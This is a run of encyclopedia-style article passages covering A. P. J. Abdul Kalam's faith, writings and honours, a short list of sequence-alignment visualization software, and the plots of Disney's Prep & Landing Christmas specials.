A proud and practising Muslim, daily namaz and fasting during Ramadan were integral to Kalam's life. His father, the imam of a mosque in his hometown of Rameswaram, had strictly instilled these Islamic customs in his children. His father had also impressed upon the young Kalam the value of interfaith respect and dialogue. As Kalam recalled: "Every evening, my father A. P. Jainulabdeen, an imam, Pakshi Lakshmana Sastry, the head priest of the Ramanathaswamy Hindu temple, and a church priest used to sit with hot tea and discuss the issues concerning the island." Such early exposure convinced Kalam that the answers to India's multitudinous issues lay in "dialogue and cooperation" among the country's religious, social, and political leaders. Moreover, since Kalam believed that "respect for other faiths" was one of the key cornerstones of Islam, he was fond of saying: "For great men, religion is a way of making friends; small people make religion a fighting tool."
Syncretism
One component of Kalam's widespread popularity among diverse groups in India, and an enduring aspect of his legacy, is the syncretism he embodied in appreciating various elements of the many spiritual and cultural traditions of India. In addition to his faith in the Quran and Islamic practice, Kalam was well-versed in Hindu traditions; he learnt Sanskrit, read the Bhagavad Gita and he was a vegetarian. Kalam also enjoyed writing Tamil poetry, playing the veena (an Indian string instrument), and listening to Carnatic devotional music every day. In 2002, in one of his early speeches to Parliament after becoming president, he reiterated his desire for a more united India, stating that "during the last one year I met a number of spiritual leaders of all religions ... and I would like to endeavour to work for bringing about unity of minds among the divergent traditions of our country". Describing Kalam as a unifier of diverse traditions, Congress leader Shashi Tharoor stated, "Kalam was a complete Indian, an embodiment of the eclecticism of India's heritage of diversity". BJP leader L. K. Advani concurred that Kalam was "the best exemplar of the Idea of India, one who embodied the best of all the cultural and spiritual traditions that signify India's unity in immense diversity. This was most strikingly evident in the second-to-last book he published, presciently titled Transcendence: My Spiritual Experiences with Pramukh Swami".
Pramukh Swami as Guru
Kalam's desire to meet spiritual leaders to help create a more prosperous, spiritual, and unified India was what initially led him to meet Pramukh Swami, the Hindu guru of the BAPS Swaminarayan Sampradaya, who Kalam would come to consider his ultimate spiritual teacher and guru. The first of eight meetings between Kalam and Pramukh Swami over a fourteen-year period took place on 30 June 2001 in New Delhi, during which Kalam described being immediately drawn to Pramukh Swami's simplicity and spiritual purity. Kalam stated that he was inspired by Pramukh Swami throughout their numerous interactions. One such incident occurred the day following the terrorist attack on BAPS' Akshardham, Gandhinagar complex in September 2002; Pramukh Swami prayed for, and sprinkled holy water upon, the sites of all of the deceased, including the terrorists, demonstrating the view that all human life is sacred. Kalam recalled being moved by Pramukh Swami's equanimity and compassion, citing this incident as one of his motivations for writing Transcendence: My Spiritual Experiences with Pramukh Swamiji. Summarising the effect that Pramukh Swami had on him, Kalam stated that "[Pramukh Swami] has indeed transformed me. He is the ultimate stage of the spiritual ascent in my life ... Pramukh Swamiji has put me in a God-synchronous orbit. No manoeuvres are required any more, as I am placed in my final position in eternity." Following Kalam's death a month after his final book was released, co-author Arun Tiwari pointed to this passage as potentially prophetic and premonitory of Kalam's death.
Writings
In his book India 2020, Kalam strongly advocated an action plan to develop India into a "knowledge superpower" and a developed nation by the year 2020. He regarded his work on India's nuclear weapons programme as a way to assert India's place as a future superpower.
Kalam describes a "transformative moment" in his life when he asked Pramukh Swami, the guru of the BAPS Swaminarayan Sampradaya, how India might realise this five-pronged vision of development. Pramukh Swami's answer—to add a sixth area developing faith in God and spirituality to overcome the current climate of crime and corruption—became the spiritual vision for the next 15 years Kalam's life, which he describes in his final book, Transcendence: My Spiritual Experiences with Pramukh Swamiji, published just a month before his death.
It was reported that there was considerable demand in South Korea for translated versions of books authored by him.
Kalam took an active interest in other developments in the field of science and technology, including a research programme for developing biomedical implants. He also supported open source technology over proprietary software, predicting that the use of free software on a large scale would bring the benefits of information technology to more people.
Kalam set a target of interacting with 100,000 students during the two years after his resignation from the post of scientific adviser in 1999. He explained, "I feel comfortable in the company of young people, particularly high school students. Henceforth, I intend to share with them experiences, helping them to ignite their imagination and preparing them to work for a developed India for which the road map is already available." His dream is to let every student to light up the sky with victory using their latent fire in the heart.
Awards and honours
Kalam received 7 honorary doctorates from 40 universities. The Government of India honoured him with the Padma Bhushan in 1981 and the Padma Vibhushan in 1990 for his work with ISRO and DRDO and his role as a scientific advisor to the Government. In 1997, Kalam received India's highest civilian honour, the Bharat Ratna, for his contribution to the scientific research and modernisation of defence technology in India. In 2013, he was the recipient of the Von Braun Award from the National Space Society "to recognize excellence in the management and leadership of a space-related project".
In 2012, Kalam was ranked number 2 in Outlook India's poll of the Greatest Indian.
Following his death, Kalam received numerous tributes. The Tamil Nadu state government announced that his birthday, 15 October, would be observed across the state as "Youth Renaissance Day;" the state government further instituted the "Dr. A. P. J. Abdul Kalam Award", constituting an 8-gram gold medal, a certificate and . The award will be awarded annually on Independence Day, beginning in 2015, to residents of the state with achievements in promoting scientific growth, the humanities or the welfare of students.
On the anniversary of Kalam's birth in 2015 the CBSE set topics on his name in the CBSE expression series.
Prime Minister Narendra Modi ceremonially released postage stamps commemorating Kalam at DRDO Bhawan in New Delhi on 15 October 2015, the 84th anniversary of Kalam's birth.
Researchers at the NASA's Jet Propulsion Laboratory (JPL) had discovered a new bacterium on the filters of the International Space Station (ISS) and named it Solibacillus kalamii to honour the late president Dr. A. P. J. Abdul Kalam.
Several educational and scientific institutions and other locations were renamed or named in honour of Kalam following his death.
Kerala Technological University, headquartered at Thiruvananthapuram where Kalam lived for years, was renamed to A P J Abdul Kalam Technological University after his death.
An agricultural college at Kishanganj, Bihar, was renamed the "Dr. Kalam Agricultural College, Kishanganj" by the Bihar state government on the day of Kalam's funeral. The state government also announced it would name a proposed science city after Kalam.
India's First Medical Tech Institute named as Kalam Institute of Health Technology located at Visakhapatnam.
Uttar Pradesh Technical University (UPTU) was renamed A. P. J. Abdul Kalam Technical University by the Uttar Pradesh state government.
A. P. J. Abdul Kalam Memorial Travancore Institute of Digestive Diseases, a new research institute in Kollam city, Kerala attached to the Travancore Medical College Hospital.
A new academic complex at Mahatma Gandhi University in Kerala.
Construction of Dr. A. P. J. Abdul Kalam Science City started in Patna in February 2019.
A new science centre and planetarium in Lawspet, Puducherry.
India and the US have launched the Fulbright-Kalam Climate Fellowship in September 2014. The first call for applicants was announced on Friday, 12 March 2016, for the fellowship which will enable up to 6 Indian PhD students and post-doctoral researchers to work with US host institutions for a period of 6–12 months. The fellowship will be operated by the binational US-India Educational Foundation (USIEF) under the Fulbright programme.
Dr APJ Abdul Kalam Planetarium in Burla, Sambalpur, Odisha was named after him.
Island
Wheeler Island, a national missile test site in Odisha, was renamed Abdul Kalam Island in September 2015.
Road
A prominent road in New Delhi was renamed from Aurangzeb Road to Dr APJ Abdul Kalam Road in August 2015.
Plant species
In February 2018, scientists from the Botanical Survey of India named a newly found plant species as Drypetes kalamii, in his honour.
Other awards and honours
Legacy
Books, documentaries and popular culture
Kalam's writings
Developments in Fluid Mechanics and Space Technology by A P J Abdul Kalam and Roddam Narasimha; Indian Academy of Sciences, 1988
India 2020: A Vision for the New Millennium by A P J Abdul Kalam, Y. S. Rajan; New York, 1998.
Wings of Fire: An Autobiography by A P J Abdul Kalam, Arun Tiwari; Universities Press, 1999.
Ignited Minds: Unleashing the Power Within India by A P J Abdul Kalam; Viking, 2002.
The Luminous Sparks by A P J Abdul Kalam, by; Punya Publishing Pvt Ltd., 2004.
Mission India by A P J Abdul Kalam, Paintings by Manav Gupta; Penguin Books, 2005
Inspiring Thoughts by A P J Abdul Kalam; Rajpal & Sons, 2007
Indomitable Spirit by A P J Abdul Kalam; Rajpal & Sons Publishing
Envisioning an Empowered Nation by A P J Abdul Kalam with A Sivathanu Pillai; Tata McGraw-Hill, New Delhi
You Are Born To Blossom: Take My Journey Beyond by A P J Abdul Kalam and Arun Tiwari; Ocean Books, 2011.
Turning Points: A journey through challenges by A P J Abdul Kalam; Harper Collins India, 2012.
Target 3 Billion by A P J Abdul Kalam and Srijan Pal Singh; December 2011 | Publisher Penguin Books.
My Journey: Transforming Dreams into Actions by A P J Abdul Kalam; 2014 by the Rupa Publication.
A Manifesto for Change: A Sequel to India 2020 by A P J Abdul Kalam and V Ponraj; July 2014 by Harper Collins.
Forge your Future: Candid, Forthright, Inspiring by A P J Abdul Kalam; by Rajpal & Sons, 29 October 2014.
Reignited: Scientific Pathways to a Brighter Future by A P J Abdul Kalam and Srijan Pal Singh; by Penguin India, 14 May 2015.
Transcendence: My Spiritual Experiences with Pramukh Swamiji by A P J Abdul Kalam with Arun Tiwari; HarperCollins Publishers, June 2015
Advantage India: From Challenge to Opportunity by A P J Abdul Kalam and Srijan Pal Singh; HarperCollins Publishers,15 Oct 2015.
Biographies
Eternal Quest: Life and Times of Dr Kalam by S Chandra; Pentagon Publishers, 2002.
President A P J Abdul Kalam by R K Pruthi; Anmol Publications, 2002.
A P J Abdul Kalam: The Visionary of India by K Bhushan, G Katyal; A P H Pub Corp, 2002.
A Little Dream (documentary film) by P. Dhanapal; Minveli Media Works Private Limited, 2008.
The Kalam Effect: My Years with the President by P M Nair; Harper Collins, 2008.
My Days With Mahatma Abdul Kalam by Fr A K George; Novel Corporation, 2009.
A.P.J. Abdul Kalam: A Life by Arun Tiwari; Haper Collins, 2015.
The People's President: Dr A P J Abdul Kalam by S M Khan; Bloomsbury Publishing, 2016.
Popular culture
In the 2011 Hindi film I Am Kalam, Kalam is portrayed as a positive influence on a poor but bright Rajasthani boy named Chhotu, who renames himself Kalam in honour of his idol. My Hero Kalam is a 2018 Indian Kannada-language biographical film by Shivu Hiremath which portrays his life from childhood to the Pokhran tests.
People's President is a 2016 Indian documentary feature film directed by Pankaj Vyas which covers the life of Kalam. It was produced by the Government of India's Films Division.
Mega Icons (2018–2020), a documentary television series about prominent personalities of India which aired on National Geographic, based the third episode - "APJ Abdul Kalam" - on Kalam's life and his ascendancy to India's presidency.
Soorarai Pottru a 2020 film about the Indian aviation industry had a look-alike of Kalam, Sheik Maideen, portraying him.
See also
2002 Indian presidential election
List of presidents of India
Pokhran-II
The Greatest Indian
References
Footnotes
Citations
External links
Official website
Website of Dr. APJ Abdul Kalam during his tenureship as the President of India, hosted by the National Informatics Centre
1931 births
2015 deaths
Defence Research and Development Organisation
Indian aerospace engineers
Indian Space Research Organisation people
Indian Muslims
Madras Institute of Technology alumni
People from Ramanathapuram district
Recipients of the Bharat Ratna
Recipients of the Padma Bhushan in civil service
Presidents of India
Engineers from Tamil Nadu
Tamil engineers
Tamil poets
University of Madras alumni
St Joseph's College, Tiruchirappalli alumni
Nuclear power in India
Recipients of the Padma Vibhushan in science & engineering
Fellows of the National Academy of Medical Sciences
20th-century Indian engineers
20th-century Indian politicians
21st-century Indian engineers
Indian Tamil academics
Indian Tamil politicians
21st-century Indian politicians
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23453202
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https://en.wikipedia.org/wiki/List%20of%20alignment%20visualization%20software
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List of alignment visualization software
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This page is a subsection of the list of sequence alignment software.
Multiple alignment visualization tools typically serve four purposes:
Aid general understanding of large-scale DNA or protein alignments
Visualize alignments for figures and publication
Manually edit and curate automatically generated alignments
Analysis in depth
The rest of this article is focused on only multiple global alignments of homologous proteins. The first two are a natural consequence of most representations of alignments and their annotation being human-unreadable and best portrayed in the familiar sequence row and alignment column format, of which examples are widespread in the literature. The third is necessary because algorithms for both multiple sequence alignment and structural alignment use heuristics which do not always perform perfectly. The fourth is a great example of how interactive graphical tools enable a worker involved in sequence analysis to conveniently execute a variety if different computational tools to explore an alignment's phylogenetic implications; or, to predict the structure and functional properties of a specific sequence, e.g., comparative modelling.
Alignment viewers, editors
See also
Sequence alignment software
Biological data visualization
Comparison of software for molecular mechanics modeling
Bioinformatics software
Software
Lists of software
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37798875
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https://en.wikipedia.org/wiki/Prep%20%26%20Landing%20%28series%29
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Prep & Landing (series)
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Prep & Landing is a series of computer animated television specials produced by the Walt Disney Animation Studios. Voices of Dave Foley, Derek Richardson, Sarah Chalke and W. Morgan Sheppard are featured in the specials.
TV specials
"Prep & Landing" (2009)
Main Prep & Landing
Wayne, a Christmas elf, is part of an elite organization known as "Prep & Landing", whose job is to ready millions of homes around the world for Santa Claus's visit. After working with "Prep & Landing" for two hundred twenty-seven years, Wayne looked forward to getting promoted. Instead, his former partner and trainee, Peterson, got the promotion, and Wayne is introduced to Lanny, a rookie whom Wayne has to also train. Wayne had been still bitter about the promotion, and decided to slack off during a mission. He permitted Lanny to do all of the work, which is disastrous. Meanwhile, Santa is informed mid-flight of a massive snow storm and that Wayne and Lanny have not fully prepared the house yet. He is told to cancel the landing, which has never happened before, when they promised to make it up for a boy named Timmy, who is living at the house. Wayne and Lanny discovered that the re-routing was a final decision, but after hearing Timmy thanking them in his sleep, Wayne decided to fix it. He called up Santa, telling him that he must land at Timmy's house. Wayne and Lanny then worked together to land Santa safely on Timmy's roof. On Christmas morning, Santa showed Wayne that Timmy had a merry Christmas. Santa offered a promotion to Wayne, but he turned it down so he can work with Lanny.
"Operation: Secret Santa" (2010)
Main Prep & Landing: Operation: Secret Santa
Wayne and Lanny, who are now partners, are called by Magee to meet with a secret contact, known as Mrs. Claus, who sent them on a new mission to retrieve a box from Santa's secret workshop. Later they sneaked into Santa's office while he is asleep, using their high tech equipment from the previous film. Lanny's expertise at dressing the tree enabled them to enter the hidden workshop where they recovered the box and escaped just in time. Mrs. Claus revealed the contents of the box to be the last part of the first toy that Santa had ever made, and gave the complete toy back to him as his Christmas Present.
"Naughty vs. Nice" (2011)
Main Prep & Landing: Naughty vs. Nice
The beginning of the special introduces the Coal Elf Brigade, a special unit of Christmas elves that are responsible for delivering lumps of coal to naughty children. While seeming cruel to some, the brigade added small, encouraging notes to the lumps such as "Try Harder next year," in an attempt to steer the children back to the nice list.
With the Big 2-5 fast approaching, Wayne and Lanny must race to recovered classified North Pole technology that has fallen into the hands of a hacker identified only as "jinglesmell Leet 1337". Desperate to prevent Christmas from descending into chaos, Wayne sought out, which is at the insistence of Magee, that the foremost Naughty Kid expert to aid in the mission, a bombastic member of the Coal Elf Brigade who also happens to be his estranged younger, but larger brother, Noel. Reluctant to take the extroverted Noel along with him, Wayne relents, and Noel joins the Prep & Landing team on the mission. During the trip, Noel and Wayne reminisce about their childhood, when they worked together far better than they do now. As the trio arrives at the hacker's house, Wayne sets off a booby trap, imperiling the entire team, when Wayne took a particular beating while Noel is able to defend himself. Lanny, however, is able to infiltrate the hacker's room, only to be taken captive after he accidentally "sparkled" himself.
The hacker then revealed herself to be Grace Goodwin, whose sole mission is to get herself off the naughty list, believing that she had been set up by her toddler brother, who had destroyed her favorite toy and ruined her chances to ask Santa for a new one by crying. After a somewhat intoxicated Lanny suggested that using the "magic word" to get the password for the device that will get her off the list, she does just that by using the word "please" as the password, since genuinely naughty kids never say "please." At first, she appeared successful in changing her status from naughty to nice, but the device malfunctions, threatening to place the entire planet on the naughty list unless she and the team can pull off a risky operation to fix the problem. Meanwhile, Wayne is particularly bitter at being "shown up" by his younger brother, prompting a fight in the street in front of Grace's house in which Wayne wished that he never had a brother. Shocked at his statement, Noel, who always idolized Wayne growing up, asked Wayne to say that he did not mean it, and threw what he had intended to give Wayne as a Christmas present at him. The gift, which is a toy sled that Wayne had wanted as a boy but was never able to get prompted Wayne to reconcile with Noel and carry out the mission. Grace, watching the whole argument as it unfolded, learned a powerful lesson and a newfound appreciation for her younger brother.
The next morning, the scene at the Goodwin house showed Grace's toddler brother giving her her new Christmas present, a replacement toy for the one he had destroyed a year prior. Meanwhile, back at the North Pole, Wayne and Noel both won the title of "Elves of the Year" for their efforts and cooperation.
Short film
Tiny's BIG Adventure
A one-minute short film, titled Tiny's BIG Adventure, was released on-line on December 9, 2009, along with Prep & Landing. It was released on DVD on November 22, 2011, and on DVD/Blu-ray of Prep & Landing: Totally Tinsel Collection, on November 6, 2012.
Future
Kevin Deters and Stevie Wermers, the directors of the specials, stated at the end of 2011 that another holiday TV special had been planned for the future. (In 2017, Deters and Wermers were involved in the production of Olaf's Frozen Adventure, which was set in the Frozen fictional universe and not part of the Prep & Landing series. A running gag involving fruitcake was carried over from Prep & Landing into Olaf's Frozen Aventure.) , with W. Morgan Sheppard and Betty White both deceased, no further entries in the franchise have been announced or scheduled.
Recurring characters
Note: A gray cell indicates character did not appear in that medium.
References
External links
Christmas television specials
Computer-animated short films
Disney television specials
2000s American television specials
2010s American television specials
American Christmas television specials
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